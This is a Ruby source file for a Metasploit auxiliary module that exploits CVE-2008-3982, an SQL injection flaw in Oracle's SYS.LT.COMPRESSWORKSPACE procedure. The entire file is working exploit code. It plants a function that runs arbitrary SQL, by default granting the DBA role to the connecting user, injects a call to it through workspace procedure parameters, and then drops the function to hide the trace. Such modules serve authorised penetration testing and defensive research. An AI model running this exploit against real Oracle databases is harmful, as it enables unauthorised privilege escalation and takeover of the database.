metasploit-framework/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::ORACLE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle DB SQL Injection via SYS.LT.COMPRESSWORKSPACE',
      'Description'    => %q{
        This module exploits an sql injection flaw in the COMPRESSWORKSPACE
        procedure of the PL/SQL package SYS.LT. Any user with execute
        privilege on the vulnerable package can exploit this vulnerability.
      },
      'Author'         => [ 'CG' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-3982'],
          [ 'OSVDB', '49324'],
          [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ]
        ],
      'DisclosureDate' => 'Oct 13 2008'))

      register_options(
        [
          OptString.new('SQL', [ false, 'SQL to execte.',  "GRANT DBA to #{datastore['DBUSER']}"]),
        ])
  end

  def run
    return if not check_dependencies

    name  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
    cruft = Rex::Text.rand_text_alpha_upper(1)

    function = "
      CREATE OR REPLACE FUNCTION #{cruft}
      RETURN VARCHAR2 AUTHID CURRENT_USER
      AS
      PRAGMA AUTONOMOUS_TRANSACTION;
      BEGIN
      EXECUTE IMMEDIATE '#{datastore['SQL']}';
      COMMIT;
      RETURN '#{cruft}';
      END;"

    package1 = "BEGIN SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"

    package2 = "BEGIN SYS.LT.COMPRESSWORKSPACETREE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"

    clean = "DROP FUNCTION #{cruft}"

    print_status("Attempting sql injection on SYS.LT.COMPRESSWORKSPACE...")

    print_status("Sending function...")
    prepare_exec(function)

    begin
      prepare_exec(package1)
      prepare_exec(package2)
    rescue  => e
      if ( e.to_s =~ /No Data/ )
        print_status("Removing function '#{cruft}'...")
        prepare_exec(clean)
      else
        return
      end
    end

  end
end